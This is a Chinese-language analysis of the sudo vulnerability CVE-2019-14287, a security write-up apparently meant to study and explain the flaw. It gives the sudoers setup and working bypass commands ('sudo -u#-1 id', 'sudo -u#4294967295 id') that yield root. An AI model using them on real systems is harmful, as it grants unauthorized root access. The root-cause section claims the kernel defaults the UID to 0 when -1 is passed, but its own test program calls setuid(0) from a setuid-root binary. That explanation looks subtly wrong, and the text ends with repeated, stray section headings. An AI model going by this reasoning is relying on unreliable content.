作者：lu4nx@知道創宇404積極防禦實驗室

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近日 sudo 被爆光一個漏洞，非授權的特權使用者可以繞過限制獲得特權。官方的修復公告請見：。

1. 漏洞復現

實驗環境：

作業系統	CentOS Linux release 7.5.1804
核心	3.10.0-862.14.4.el7.x86_64
sudo 版本	1.8.19p2

首先新增一個系統帳號 test_sudo 作為實驗所用：

[root@localhost ~] # useradd test_sudo

然後用 root 身份在 /etc/sudoers 中增加：

test_sudo ALL=(ALL,!root) /usr/bin/id

表示允許 test_sudo 帳號以非 root 外的身份執行 /usr/bin/id，如果試圖以 root 帳號執行 id 命令則會被拒絕：

[test_sudo@localhost ~] $ sudo id
對不起，使用者 test_sudo 無權以 root 的身份在 localhost.localdomain 上執行 /bin/id。

sudo -u 也可以透過指定 UID 的方式來代替使用者，當指定的 UID 為 -1 或 4294967295（-1 的補碼，其實內部是按無符號整數處理的）時，因此可以觸發漏洞，繞過上面的限制並以 root 身份執行命令：

[test_sudo@localhost ~]$ sudo -u#-1 id
uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[test_sudo@localhost ~]$ sudo -u#4294967295 id
uid=0(root) gid=1004(test_sudo) 組=1004(test_sudo) 環境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2. 漏洞原理分析

在官方程式碼倉庫找到提交的修復程式碼：。

從提交的程式碼來看，只修改了 lib/util/strtoid.c。strtoid.c 中定義的 sudo_strtoid_v1 函式負責解析引數中指定的 UID 字串，補丁關鍵程式碼：

/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {  if (errstr != NULL)    *errstr = N_("invalid value");  errno = EINVAL;  goto done; }

llval 變數為解析後的值，不允許 llval 為 -1 和 UINT_MAX（4294967295）。

也就是補丁只限制了取值而已，從漏洞行為來看，如果為 -1，最後得到的 UID 卻是 0，為什麼不能為 -1？當 UID 為 -1 的時候，發生了什麼呢？繼續深入分析一下。

我們先用 strace 跟蹤下系統呼叫看看：

[root@localhost ~]# strace -u test_sudo sudo -u#-1 id

因為 strace -u 引數需要 root 身份才能使用，因此上面命令需要先切換到 root 帳號下，然後用 test_sudo 身份執行了 sudo -u#-1 id 命令。從輸出的系統呼叫中，注意到：

setresuid(-1, -1, -1)                   = 0

sudo 內部呼叫了 setresuid 來提升許可權（雖然還呼叫了其他設定組之類的函式，但先不做分析），並且傳入的引數都是 -1。

因此，我們做一個簡單的實驗來呼叫 setresuid(-1, -1, -1) ，看看為什麼執行後會是 root 身份，程式碼如下：

#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main() {
  setresuid(-1, -1, -1);
  setuid(0);
  printf("EUID: %d, UID: %d\n", geteuid(), getuid());
  return 0;}

注意，需要將編譯後的二進位制檔案所屬使用者改為 root，並加上 s 位，當設定了 s 位後，其他帳號執行時就會以檔案所屬帳號的身份執行。

為了方便，我直接在 root 帳號下編譯，並加 s 位：

[root@localhost tmp] # gcc test.c
[root@localhost tmp] # chmod +s a.out

然後以 test_sudo 帳號執行 a.out：

[test_sudo@localhost tmp] $ ./a.out
EUID: 0, UID: 0

可見，執行後，當前身份變成了 root。

其實 setresuid 函式只是系統呼叫 setresuid32 的簡單封裝，可以在 GLibc 的原始碼中看到它的實現：

// 檔案：sysdeps/unix/sysv/linux/i386/setresuid.c
int
__setresuid (uid_t ruid, uid_t euid, uid_t suid)
{
  int result;
  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);
  return result;
}

setresuid32 最後呼叫的是核心函式 sys_setresuid，它的實現如下：

// 檔案：kernel/sys.c
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
  ...
  struct cred *new;
  ...
  kruid = make_kuid(ns, ruid);
  keuid = make_kuid(ns, euid);
  ksuid = make_kuid(ns, suid);
  new = prepare_creds();
  old = current_cred();
  ...
  if (ruid != (uid_t) -1) {
    new->uid = kruid;
    if (!uid_eq(kruid, old->uid)) {
      retval = set_user(new);
      if (retval < 0)
        goto error;
    }
  }
  if (euid != (uid_t) -1)
    new->euid = keuid;
  if (suid != (uid_t) -1)
    new->suid = ksuid;
  new->fsuid = new->euid;
  ...
  return commit_creds(new);
 error:
  abort_creds(new);
  return retval;
}

簡單來說，核心在處理時，會呼叫 prepare_creds 函式建立一個新的憑證結構體，而傳遞給函式的 ruid、euid和suid 三個引數只有在不為 -1 的時候，才會將 ruid、euid 和 suid 賦值給新的憑證（見上面三個 if 邏輯），否則預設的 UID 就是 0。最後呼叫 commit_creds 使憑證生效。這就是為什麼傳遞 -1 時，會擁有 root 許可權的原因。

我們也可以寫一段 SystemTap 指令碼來觀察下從應用層呼叫 setresuid 並傳遞 -1 到核心中的狀態：

# 捕獲 setresuid 的系統呼叫probe syscall.setresuid {
  printf("exec %s, args: %s\n", execname(), argstr)}# 捕獲核心函式 sys_setresuid 接受到的引數probe kernel.function("sys_setresuid").call {  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕獲核心函式 prepare_creds 的返回值probe kernel.function("prepare_creds").return {  # 具體資料結構請見 linux/cred.h 中 struct cred 結構體  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}

然後執行：

[root@localhost tmp] # stap test.stp

接著執行前面我們編譯的 a.out，看看 stap 捕獲到的：

exec a.out, args: -1, -1, -1 # 這裡是傳遞給 setresuid 的 3 個引數(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 這裡顯示最終呼叫 sys_setresuid 的三個引數(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 呼叫了 prepare_cred，可看到預設 EUID 是為 0的

CVE-2019-14287（Linux sudo 漏洞）分析

1. 漏洞復現

2. 漏洞原理分析

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